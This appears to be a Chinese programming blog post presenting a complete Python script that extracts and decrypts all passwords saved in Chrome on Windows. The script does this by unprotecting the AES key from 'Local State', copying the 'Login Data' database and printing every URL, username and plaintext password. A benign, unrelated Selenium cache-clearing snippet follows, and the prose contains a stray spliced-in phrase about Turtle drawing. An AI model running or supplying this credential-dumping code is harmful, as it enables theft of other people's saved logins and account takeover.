python操作谷歌浏览器,python获取chrome cookies

大家好,小编来为大家解答以下问题,python操作谷歌浏览器,python获取chrome cookies,今天让我们一起来看看吧!

谷歌浏览器会将浏览数据保存在本地磁盘,我们将编写 Python 代码来提取 Windows 计算机上 Chrome 中保存的密码,开始写程序前请安装所需要库:
在这里插入图片描述

pip install pycryptodome pypiwin32   

1、get_chrome_datetime()函数负责将 chrome 日期格式转换为人类可读的日期时间格式。
2、get_encryption_key()函数提取并解码用于加密密码的AES密钥,这"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"作为 JSON 文件存储在路径中
3、decrypt_password() 将加密密码和 AES 密钥作为参数,并返回密码的解密版本
**首先,**我们使用之前定义的get_encryption_key()函数获取加密密钥,然后我们将 sqlite 数据库(位于"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"保存密码的位置)复制到当前目录并连接到它,这是因为原始数据库文件将被锁定Chrome 当前正在运行Python中使用Turtle绘制半圆形
**之后,**我们对登录表进行选择查询并遍历所有登录行,我们还解密每个密码date_created并将date_last_used日期时间重新格式化为更易于阅读的格式。
**最后,**我们打印凭据并从当前目录中删除数据库副本。
让我们调用主函数,完美提取Chrome浏览器保存的密码:
完整代码

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import datetime, timedelta


def get_chrome_datetime(chromedate):
    """从chrome格式的datetime返回一个`datetime.datetime`对象
因为'chromedate'的格式是1601年1月以来的微秒数"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)


def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

    key = key[5:]

    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]


def decrypt_password(password, key):
    try:
        iv = password[3:15]
        password = password[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""


def main():
    key = get_encryption_key()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                           "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("=" * 50)

    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    main()


更多Python程序源代码,请微信关注:Python代码大全,在这里插入图片描述

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
可以使用Python的Selenium库来清理谷歌浏览器缓存。具体步骤如下: 1. 首先需要导入Selenium库和webdriver模块,以及ChromeOptions类和Options类。 ```python from selenium import webdriver from selenium.webdriver.chrome.options import Options ``` 2. 创建一个ChromeOptions对象,并设置浏览器参数。 ```python options = Options() options.add_argument('--ignore-certificate-errors') options.add_argument('--ignore-ssl-errors') ``` 3. 创建一个WebDriver对象,并使用ChromeOptions对象作为参数来设置浏览器参数。 ```python driver = webdriver.Chrome(chrome_options=options) ``` 4. 打开浏览器,并访问需要清理缓存的网站。 ```python driver.get('https://www.example.com') ``` 5. 使用execute_script()方法执行JavaScript代码来清理缓存。 ```python driver.execute_script('window.localStorage.clear();') driver.execute_script('window.sessionStorage.clear();') driver.execute_script('window.location.reload();') ``` 6. 关闭浏览器。 ```python driver.quit() ``` 完整的代码示例: ```python from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--ignore-certificate-errors') options.add_argument('--ignore-ssl-errors') driver = webdriver.Chrome(chrome_options=options) driver.get('https://www.example.com') driver.execute_script('window.localStorage.clear();') driver.execute_script('window.sessionStorage.clear();') driver.execute_script('window.location.reload();') driver.quit() ``` 注意:这个方法只能清理浏览器缓存,不能清理浏览器历史记录和cookie等其他数据。如果需要清理其他数据,可以使用selenium的delete_all_cookies()方法来删除cookie。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值